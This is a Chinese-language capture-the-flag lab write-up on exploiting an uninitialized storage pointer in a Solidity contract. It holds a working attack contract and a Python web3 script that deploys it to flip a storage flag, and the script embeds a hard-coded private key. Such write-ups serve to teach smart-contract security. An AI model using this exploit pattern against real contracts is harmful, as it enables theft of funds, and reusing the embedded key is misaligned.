区块链安全
文章目录
- 区块链安全
- 未初始化的存储指针实战一
- 实验目的
- 实验环境
- 实验工具
- 实验原理
- 实验过程
未初始化的存储指针实战一
实验目的
学会使用python3的web3模块
学会分析以太坊智能合约未初始化的存储指针漏洞
找到合约漏洞进行分析并形成利用
实验环境
Ubuntu18.04操作机
实验工具
python3
实验原理
在solidity语言中,像动态的数组、struct、mapping这样的复杂数据结构是不能直接在”栈”里面保存的,因为”栈”里只能保存单独的”字”,也就是只能保存实际数据长度小于等于32字节的简单数据类型。所以在solidity智能合约函数中声明动态数组和struct时,必须明确指明其位置在storage还是memory中。
在函数内部,mapping类型则不能作为临时变量使用,只能作为某个状态变量的”储存指针”,也就是mapping类型必须在编译时进行预先初始化,而不能作为运动时产生的数据。如果智能合约函数声明了临时的动态数组或者sturct,而没有指定“位置”,且没有进行初始化,那么这些变量将默认存储在storage。
未初始化的存储指针是指在 EVM 中未进行初始化的 storage 变量,这个变量会指向其他变量的区域,从而更改其他变量的值。
实验内容
合约中内置了结构体未初始化的存储指针问题,找到合约漏洞并形成利用,把合约中的flag变量设置为true即可
使用python3的web3模块远程利用漏洞并获取flag
实验地址为nc ip 10007
实验过程
获取合约地址和合约源代码
nc ip 10007连接到题目,输入1,获取部署合约的game account及token
打开http://ip,输入上述分配的game account,点击Request获取eth
nc ip 10007连接到题目,输入2,获取部署合约的地址及new token
nc ip 10007连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码
分析合约源代码漏洞
题目要求将合约中的flag变量设置为true,分析代码,并未见到直接可将flag设置为true的代码
典型的利用 struct 默认是 storage 的题目,struct在函数中未明确指明是memory变量,则其是storage变量,声明的变量默认从slot 0开始存储
函数中声明的 newRecord 结构体修改 name 和 mappedAddress 实际分别改的是 unlocked 和 bytes32 name
所以把 name 对应的 slot 0 的值改成 1 就行了
EXP利用
编写第三方攻击合约attack.sol,将下述ETH7地址换成自己题目合约的地址,调用目标合约的register(1, tx.origin)
pragma solidity ^0.4.23;
contract hack {
ETH7 target = ETH7(0x5cb6e41CEB6b8D41C238539EA0484Bd988f5CEb6);
constructor() public {
target.register(1, tx.origin);
}
}
用python编写自动化exp,功能包括部署攻击合约得到攻击合约地址,在攻击合约的构造函数中完成攻击
from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import time
w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))
contract_address = "0x5cb6e41CEB6b8D41C238539EA0484Bd988f5CEb6"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"
def generate_tx(chainID, to, data, value):
txn = {
'chainId': chainID,
'from': Web3.toChecksumAddress(public),
'to': to,
'gasPrice': w3.eth.gasPrice,
'gas': 3000000,
'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
'value': Web3.toWei(value, 'ether'),
'data': data,
}
return txn
def sign_and_send(txn):
signed_txn = w3.eth.account.signTransaction(txn, private)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
print("txn_hash=", txn_hash)
return txn_receipt
set_solc_version_pragma('^0.4.23')
with open('./attack.sol', 'r') as f:
SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:hack']
txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)
flag = w3.eth.get_storage_at(contract_address, 0).hex()
print(flag)
执行exp
nc ip 10007连接到题目,输入3,输入之前的new token,获取flag